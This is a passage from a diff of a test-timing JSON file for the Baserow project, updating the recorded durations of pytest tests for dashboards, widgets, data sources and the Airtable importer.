"tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_permission_denied": 0.17687737496453337, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_service_type_doesnt_exist": 0.10229383301339112, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_service_type_none": 0.09723879199009389, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_unauthorized": 0.09499145895824768, + "tests/baserow/contrib/dashboard/api/data_sources/test_dashboard_data_source_views.py::test_update_data_source_with_service_type_for_different_dispatch_type": 0.10771270803525113, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_create_widget": 0.10895129301934503, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_create_widget_dashboard_doesnt_exist": 0.09193679201416671, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_create_widget_empty_title": 0.0966283339948859, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_create_widget_permission_denied": 0.09559333400102332, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_create_widget_wrong_widget_type": 0.09513579201302491, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_delete_widget": 0.11785016595968045, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_delete_widget_not_found": 0.0971684170071967, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_delete_widget_permissions_denied": 0.10361074999673292, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_get_widgets": 0.12735850000171922, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_get_widgets_dashboard_doesnt_exist": 0.09099295904161409, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_get_widgets_permissions_denied": 0.09553400101140141, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_update_widget": 0.1265894990065135, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_update_widget_doesnt_exist": 0.09106179201626219, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_update_widget_empty_title": 0.11312600004021078, + "tests/baserow/contrib/dashboard/api/widgets/test_widget_views.py::test_update_widget_permissions_denied": 0.10256424997351132, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_action_types.py::test_can_undo_redo_update_data_source": 0.2510099990176968, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_create_data_source": 0.022514207987114787, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_delete_data_source": 0.10974512301618233, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_dispatch_data_source": 0.1609238329983782, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_dispatch_data_source_improperly_configured": 0.1452208750124555, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_find_unused_data_source_name": 0.028976749978028238, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_source": 0.10465591700631194, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_source_does_not_exist": 0.018129584001144394, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_source_for_update": 0.34768233401700854, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_source_for_update_does_not_exist": 0.01765179302310571, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_source_for_update_with_base_queryset": 0.1787445009977091, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_source_with_base_queryset": 0.17657216600491665, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_sources": 0.034392166999168694, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_sources_specific_services": 0.05457729200134054, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_get_data_sources_with_base_queryset": 0.037919667025562376, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_update_data_source_change_type": 0.04262287498568185, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_handler.py::test_update_data_source_name": 0.03459745802683756, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_create_data_source": 0.09851424896623939, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_create_data_source_dashboard_trashed": 0.09095008397707716, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_create_data_source_permission_denied": 0.09483991598244756, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_delete_data_source": 0.13126325100893155, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_delete_data_source_dashboard_trashed": 0.09395924900309183, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_delete_data_source_permission_denied": 0.17212833298253827, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_delete_data_source_trashed": 0.09568774999934249, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_dispatch_data_source": 0.1582352929690387, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_dispatch_data_source_dashboard_trashed": 0.09546312503516674, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_dispatch_data_source_permissions_denied": 0.17272312598652206, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_dispatch_data_source_trashed": 0.09519070797250606, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_source": 0.10000904300250113, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_source_dashboard_trashed": 0.09907170897349715, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_source_does_not_exist": 0.08964483297313564, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_source_permission_denied": 0.1728022909956053, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_source_trashed": 0.10111025100923143, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_sources": 0.13550795704941265, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_sources_dashboard_trashed": 0.09989758301526308, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_get_data_sources_trashed": 0.11740595797891729, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_update_data_source_dashboard_trashed": 0.09676087403204292, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_update_data_source_name": 0.11508791599771939, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_update_data_source_permission_denied": 0.17440225099562667, + "tests/baserow/contrib/dashboard/data_sources/test_dashboard_data_source_service.py::test_update_data_source_trashed": 0.09614924999186769, + "tests/baserow/contrib/dashboard/search/test_dashboard_search_types.py::test_dashboard_search_type_basic_functionality": 0.33994612499373034, + "tests/baserow/contrib/dashboard/test_dashboard_action_types.py::test_can_undo_redo_update_dashboard_application": 0.11714279098669067, + "tests/baserow/contrib/dashboard/test_dashboard_application_types.py::test_dashboard_export_serialized": 0.09721937595168129, + "tests/baserow/contrib/dashboard/test_dashboard_application_types.py::test_dashboard_export_serialized_with_widgets": 0.18037975000333972, + "tests/baserow/contrib/dashboard/test_dashboard_application_types.py::test_dashboard_import_serialized": 0.09175766698899679, + "tests/baserow/contrib/dashboard/test_dashboard_application_types.py::test_dashboard_import_serialized_with_widgets": 0.14157387500745244, + "tests/baserow/contrib/dashboard/test_dashboard_application_types.py::test_dashboard_permanently_delete": 0.20999595799366944, + "tests/baserow/contrib/dashboard/test_dashboard_trash_types.py::test_delete_widget_permanently_removes_data_source": 0.1482689580298029, + "tests/baserow/contrib/dashboard/test_dashboard_trash_types.py::test_restore_widget": 0.1196015840396285, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_action_types.py::test_can_undo_redo_create_widget": 0.13876825003535487, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_action_types.py::test_can_undo_redo_delete_widget": 0.15651095903012902, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_action_types.py::test_can_undo_redo_update_widget": 0.13129154196940362, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_create_widget": 0.02325574995484203, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_delete_widget": 0.04175670800032094, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widget": 0.03215983399422839, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widget_does_not_exist": 0.0209518319752533, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widget_for_update": 0.2827703760121949, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widget_for_update_does_not_exist": 0.018454248987836763, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widget_for_update_with_base_queryset": 0.030796874983934686, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widget_with_base_queryset": 0.03247320797527209, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widgets": 0.03352604198153131, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widgets_specific": 0.03254658399964683, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_get_widgets_with_base_queryset": 0.03380016697337851, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_handler.py::test_update_widget": 0.025014876009663567, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_create_widget": 0.10256966602173634, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_create_widget_blank_title": 0.10217908301274292, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_create_widget_dashboard_trashed": 0.0909595410048496, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_create_widget_permission_denied": 0.09355929101002403, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_create_widget_widget_type_doesnt_exist": 0.09538075001910329, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_delete_widget": 0.10869841699604876, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_delete_widget_dashboard_trashed": 0.09892212401609868, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_delete_widget_permission_denied": 0.0995107930211816, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_delete_widget_trashed": 0.09833274999982677, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widget": 0.10574774901033379, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widget_dashboard_trashed": 0.09967979000066407, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widget_does_not_exist": 0.08983504303614609, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widget_permission_denied": 0.10178025101777166, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widget_trashed": 0.09883170897956006, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widgets": 0.11920529103372246, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_get_widgets_dashboard_trashed": 0.09084408401395194, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_update_widget": 0.10961404099361971, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_update_widget_blank_title": 0.1029527920181863, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_update_widget_dashboard_trashed": 0.09986366599332541, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_update_widget_no_title": 0.10745350099750794, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_update_widget_permission_denied": 0.10251916601555422, + "tests/baserow/contrib/dashboard/widgets/test_dashboard_widgets_service.py::test_update_widget_trashed": 0.09739345801062882, + "tests/baserow/contrib/dashboard/widgets/test_summary_widget_type.py::test_create_summary_widget_creates_data_source": 0.10614908396382816, + "tests/baserow/contrib/dashboard/widgets/test_summary_widget_type.py::test_summary_widget_datasource_cannot_be_deleted": 0.13994729198748246, + "tests/baserow/contrib/dashboard/widgets/test_summary_widget_type.py::test_summary_widget_trash_restore": 0.11214854099671356, + "tests/baserow/contrib/dashboard/ws/test_dashboard_receivers.py::test_dashboard_data_source_updated_ws_receiver": 0.3316624159924686, + "tests/baserow/contrib/dashboard/ws/test_dashboard_receivers.py::test_widget_created_ws_receiver": 0.26465379196451977, + "tests/baserow/contrib/dashboard/ws/test_dashboard_receivers.py::test_widget_deleted_ws_receiver": 0.3259337509807665, + "tests/baserow/contrib/dashboard/ws/test_dashboard_receivers.py::test_widget_updated_ws_receiver": 0.3285763749736361, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_autonumber_column": 0.015152707986999303, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_checkbox_column": 0.015188834018772468, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_checkbox_column_empty_value_with_default": 0.015329249989008531, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_checkbox_column_invalid_color": 0.015667876024963334, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_checkbox_column_invalid_icon": 0.0150091249961406, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_checkbox_column_with_default_value": 0.015224043017951772, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_count_column": 0.015504916023928672, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_created_on_column": 0.016636666987324134, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_currency_column": 0.016351791011402383, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_currency_column_non_existing_separator_format": 0.015877541998634115, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_date_column": 0.019403457990847528, "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_date_with_different_airtable_timezone_column": 0.003226405995519599, "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_date_with_different_default_timezone_column": 0.0033579539995116647, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_column": 0.009540125000057742, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_edge_case_1": 0.011288040999716031, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_with_default_timezone_column": 0.011394623999876785, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_with_different_default_timezone_column": 0.009815000000344298, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_email_column": 0.01290445699942211, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_european_date_column": 0.010710999999901105, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_foreign_key_column": 0.0111502069994458, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_last_modified_column": 0.009945289999450324, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multi_select_column": 0.01879916700090689, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multiline_text_column": 0.010243874000479991, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multiple_attachment_column": 0.010017958999924303, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_number_decimal_column": 0.0101526250000461, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_number_integer_column": 0.011158416999023757, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_phone_column": 0.010318833000383165, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rating_column": 0.010264375000588188, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rich_text_column": 0.010425333000057435, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rich_text_column_with_mention": 0.01050637600110349, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_select_column": 0.01895416700062924, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_text_column": 0.010831958999915514, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_url_column": 0.010984166000525875, - "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_unknown_column_type": 0.010933666000710218, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_column": 0.01668879101634957, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_edge_case_1": 0.01606345799518749, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_with_default_timezone_column": 0.017538416024763137, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_with_default_value": 0.015979583986336365, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_datetime_with_different_default_timezone_column": 0.015673667046939954, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_days_duration_column": 0.016632127022603527, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_duration_column": 0.015771665988722816, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_duration_column_max_negative_value": 0.016297916998155415, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_duration_column_max_value": 0.015951666980981827, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_email_column": 0.017250083008548245, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_european_date_column": 0.015153000043937936, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_foreign_key_column": 0.016717374994186684, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_foreign_key_column_failed_import": 0.01521787399542518, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_last_modified_column": 0.017220042005646974, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_last_modified_column_depending_fields": 0.016002666990971193, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multi_select_column": 0.036317583988420665, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multi_select_column_with_default_value": 0.03343362401938066, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multiline_text_column": 0.01522820899845101, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multiple_attachment_column": 0.015765957010444254, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_multiple_attachment_column_skip_files": 0.015651209017960355, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_number_column_default_value": 0.016469250025693327, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_number_decimal_column": 0.01579216602840461, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_number_integer_column": 0.015930750028928742, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_number_invalid_number": 0.015388333995360881, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_percentage_column": 0.015556917001958936, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_phone_column": 0.015361582045443356, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rating_column": 0.015357958996901289, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rating_column_invalid_color": 0.01479416704387404, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rating_column_invalid_icon": 0.014827165985479951, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rich_text_column": 0.015759791975142434, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_rich_text_column_with_mention": 0.015935707982862368, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_select_column": 0.036305624002125114, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_select_column_with_default_value": 0.03697141702286899, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_text_column": 0.015326208027545363, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_text_column_preserve_default": 0.015114125999389216, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_airtable_import_url_column": 0.016927124990615994, + "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_unknown_column_type": 0.01563975098542869, "tests/baserow/contrib/database/airtable/test_airtable_column_types.py::test_unkown_column_type": 0.004460285996174207, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_create_and_start_airtable_import_job": 0.3275592930003768, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_create_and_start_airtable_import_job_while_other_job_is_running": 0.1476762909996978, + "tests/baserow/contrib/database/airtable/test_airtable_filter_import.py::test_all_airtable_filters": 0.015405500045744702, + "tests/baserow/contrib/database/airtable/test_airtable_filter_import.py::test_if_all_airtable_filter_operators_are_in_tests": 0.012719416990876198, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_config_skip_files": 0.028079790965421125, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_create_and_start_airtable_import_job": 0.32522716696257703, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_create_and_start_airtable_import_job_while_other_job_is_running": 0.09961291702347808, "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_create_and_start_airtable_import_job_with_timezone": 0.7045448749959178, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_extract_schema": 0.012177001000964083, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_publicly_shared_base": 0.011680499000249256, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_publicly_shared_base_not_base_request_id_missing": 0.01170612499845447, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_table": 0.014181457999256963, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_get_airtable_import_job": 0.28362279100019805, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_create_and_start_airtable_import_job_without_both_session_and_signature": 0.09565879200818017, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_download_files_via_endpoint": 0.030536833015503362, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_extract_schema": 0.018815417017322034, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_publicly_shared_base": 0.01998908302630298, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_publicly_shared_base_not_base_request_id_missing": 0.01623337497585453, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_publicly_shared_base_with_authentication": 0.017103916994528845, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_fetch_table": 0.018914501037215814, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_get_airtable_import_job": 0.1696370829595253, "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_group": 0.3907001660008973, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace": 0.3959511240000211, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace_duplicated_multi_select": 0.07082629200067458, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace_duplicated_single_select": 0.05721812499996304, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_unsupported_publicly_shared_view": 0.01313087399921642, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_to_baserow_database_export": 0.0342404990005889, - "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_to_baserow_database_export_without_primary_value": 0.015464790999430988, - "tests/baserow/contrib/database/airtable/test_airtable_models.py::test_cached_values": 0.14736079099930066, - "tests/baserow/contrib/database/airtable/test_airtable_models.py::test_is_running_queryset": 0.95916520999981, - "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_from_airtable": 0.5031764989998919, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace": 0.623206417018082, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace_duplicated_multi_select": 0.11327429197262973, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace_duplicated_single_select": 0.141067831980763, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_from_airtable_to_workspace_with_report_table": 0.5344379599846434, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_import_unsupported_publicly_shared_view": 0.02029037498869002, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_to_baserow_database_export": 0.04075070901308209, + "tests/baserow/contrib/database/airtable/test_airtable_handler.py::test_to_baserow_database_export_without_primary_value": 0.03361979199689813, + "tests/baserow/contrib/database/airtable/test_airtable_models.py::test_cached_values": 0.09211358297034167, + "tests/baserow/contrib/database/airtable/test_airtable_models.py::test_is_running_queryset": 0.5427024170057848, + "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_from_airtable": 0.34799062498495914, "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_from_airtable_failing_connection_error": 0.6777220199983276, "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_from_airtable_failing_import": 0.6903219020023244, "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_from_airtable_failing_time_limit": 0.5879058950013132, "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_from_airtable_with_timezone": 0.06311112700495869, - "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_shared_view": 0.3207214579997526, - "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_extract_share_id_from_url": 0.008212207998440135, - "tests/baserow/contrib/database/api/actions/test_database_action_views.py::test_asking_for_an_unknown_scope_returns_an_error": 0.17578820800008543, - "tests/baserow/contrib/database/api/actions/test_database_action_views.py::test_can_undo_a_database_action_and_get_correct_response_code": 0.1969054569999571, - "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_create_airtable_import_job": 0.35285566599941376, - "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_create_airtable_import_job_long_share_id": 0.32695358300043154, - "tests/baserow/contrib/database/api/airtable/test_airtable_views.py::test_get_airtable_import_job": 0.2944414590001543, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_csv_table_writes_file_to_storage": 0.2247417079997831, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_csv_writes_file_to_storage": 0.3012962080010766, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_missing_table_returns_error": 0.17206429300040327, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_missing_view_returns_error": 0.1588851690003139, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_table_without_permissions_returns_error": 0.2915515010008676, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_exporting_view_which_isnt_for_table_returns_error": 0.16505429199969512, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_getting_missing_export_job_returns_error": 0.14850824900076987, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_getting_other_users_export_job_returns_error": 0.3173960839994834, - "tests/baserow/contrib/database/api/export/test_export_views.py::test_unknown_export_type_for_table_returns_error": 0.16084583300016675, + "tests/baserow/contrib/database/airtable/test_airtable_tasks.py::test_run_import_shared_view": 0.3319245829770807, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_airtable_date_filter_value_to_baserow": 0.012726666987873614, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_airtable_date_string_filter_value_to_baserow": 0.012540124967927113, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_airtable_invalid_date_filter_value_to_baserow": 0.01266458397731185, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_extract_share_id_from_url": 0.012891582970041782, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_get_airtable_column_name": 0.012653501005843282, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_get_airtable_column_name_fallback": 0.012673291988903657, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_get_airtable_row_primary_value_with_primary_field": 0.012451123999198899, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_get_airtable_row_primary_value_without_primary_column_id_in_table": 0.012669040967011824, + "tests/baserow/contrib/database/airtable/test_airtable_utils.py::test_get_airtable_row_primary_value_without_primary_field": 0.012621083995327353, + 